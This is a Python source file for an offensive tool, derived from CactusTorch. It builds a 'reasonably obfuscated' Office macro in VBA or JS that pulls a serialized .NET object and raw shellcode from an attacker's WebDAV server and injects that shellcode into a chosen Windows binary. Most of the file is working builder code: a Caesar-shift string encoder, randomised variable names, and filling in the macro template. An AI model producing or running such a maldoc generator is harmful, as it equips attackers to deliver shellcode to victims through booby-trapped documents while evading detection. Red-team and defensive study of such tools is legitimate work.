#!/usr/bin/env python # -*- coding: utf8 -*- # # Author: Arno0x0x - https://twitter.com/Arno0x0x # Distributed under the terms of the [GPLv3 licence](http://www.gnu.org/copyleft/gpl.html) # # This tool was inspired and is derived from the great 'CactusTorch' tool : https://github.com/mdsecactivebreach/CACTUSTORCH # # The tool creates an "reasonably obfuscated" Office macro file using the CactusTorch injection method. The CactusTorch serialized object # as well as the shellcode to be injected are delivered over a webDav covert channel using the 'webdavdelivery.py' tool available here: # https://gist.github.com/Arno0x/5da411c4266e5c440ecb6ffc50b8d29a # # Once the macro file is created it is required to start a 'webdavdelivery.py' server that will deliver both the cactusTorch serialized object # (thanks to DotNetToJScript) as well as a raw (ie NOT base64 encode) x86 shellcode of your choice. import argparse import string from Crypto.Random import random #====================================================================================================== # HELPERS FUNCTIONS #====================================================================================================== #------------------------------------------------------------------------ def convertFromTemplate(parameters, templateFile): try: with open(templateFile) as f: src = string.Template(f.read()) result = src.substitute(parameters) f.close() return result except IOError: print color("[!] Could not open or read template file [{}]".format(templateFile)) return None #------------------------------------------------------------------------ def randomString(length = -1, charset = string.ascii_letters): """ Author: HarmJ0y, borrowed from Empire Returns a random string of "length" characters. If no length is specified, resulting string is in between 6 and 15 characters. A character set can be specified, defaulting to just alpha letters. """ if length == -1: length = random.randrange(6,16) random_string = ''.join(random.choice(charset) for x in range(length)) return random_string #------------------------------------------------------------------------ def randomInt(minimum, maximum): """ Returns a random integer between or equald to minimum and maximum """ if minimum < 0: minimum = 0 if maximum < 0: maximum = 100 return random.randint(minimum, maximum) #------------------------------------------------------------------------ def color(string, color=None, bold=None): """ Author: HarmJ0y, borrowed from Empire Change text color for the Linux terminal. """ attr = [] if color: if bold: attr.append('1') if color.lower() == "red": attr.append('31') elif color.lower() == "green": attr.append('32') elif color.lower() == "blue": attr.append('34') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) else: if string.strip().startswith("[!]"): attr.append('1') attr.append('31') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) elif string.strip().startswith("[+]"): attr.append('1') attr.append('32') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) elif string.strip().startswith("[?]"): attr.append('1') attr.append('33') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) elif string.strip().startswith("[*]"): attr.append('1') attr.append('34') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) else: return string #------------------------------------------------------------------------ def caesar(destLangage, key, inputString): """Dumb caesar encoding of an input string using a key (integer) to shift ASCII codes""" encrypted = "" for char in inputString: num = ord(char) - 32 # Translate the working space, 32 being the first printable ASCI char shifted = (num + int(key))%94 + 32 # Escape some characters depending on the type of target langage (JS or VBA) if shifted == 34: # Escaping the double quote if destLangage == 'vba': encrypted += "\"{}".format(chr(shifted)) elif destLangage == 'js': encrypted += "\\{}".format(chr(shifted)) elif shifted == 92: if destLangage == 'js': encrypted += "\\{}".format(chr(shifted)) # Escaping the backspace in JS else: encrypted += chr(shifted) else: encrypted += chr(shifted) return encrypted #====================================================================================================== # MAIN FUNCTION #====================================================================================================== if __name__ == '__main__': #------------------------------------------------------------------------ # Parse arguments parser = argparse.ArgumentParser(description='Creates an obfuscated Office macro delivering CactusTorch over a WebDAV covert channel.\r\nTo be used along with webdavdelivery.py') parser.add_argument("outputType", help="Type of output file to generate", choices=['js','vba']) parser.add_argument("webDavServer", help="IP or FQDN of the 'webdavdelivery.py' server serving the CactusTorch serialized object") parser.add_argument("binaryName", help="Windows binary name in which CactusTorch should inject the shellcode") parser.add_argument("outputFile", help="Output file") args = parser.parse_args() caesarKey = randomInt(0,94) varBinary = randomString(4) binary = caesar(args.outputType, caesarKey, args.binaryName) varShellcode = randomString(4) varWebDavServer = randomString(4) webDavServer = caesar(args.outputType, caesarKey, args.webDavServer) funcInvertCaesar = randomString(10) varEntryClass = randomString(4) entryClass = caesar(args.outputType, caesarKey, "cactusTorch") memoryStream = caesar(args.outputType, caesarKey, "System.IO.MemoryStream") binaryFormatter = caesar(args.outputType, caesarKey, "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") arrayList = caesar(args.outputType, caesarKey, "System.Collections.ArrayList") parameters = { 'caesarKey' : caesarKey, 'varBinary': varBinary, 'binary': binary, 'varShellcode': varShellcode, 'varWebDavServer': varWebDavServer, \ 'webDavServer': webDavServer, 'funcInvertCaesar': funcInvertCaesar, 'varEntryClass': varEntryClass, 'entryClass': entryClass, \ 'memoryStream': memoryStream, 'binaryFormatter': binaryFormatter, 'arrayList': arrayList \ } templateFile = "cactusTorch_{}.tpl".format(args.outputType) macro = convertFromTemplate(parameters, templateFile) #------------------------------------------------------------------------ # Write the macro file macroFile = "output/" + args.outputFile try: with open(macroFile, 'w') as fileHandle: fileHandle.write(macro) print color("[*] File [{}] successfully created !".format(macroFile)) except IOError: print color("[!] Could not open or write file [{}]".format(macroFile)) quit()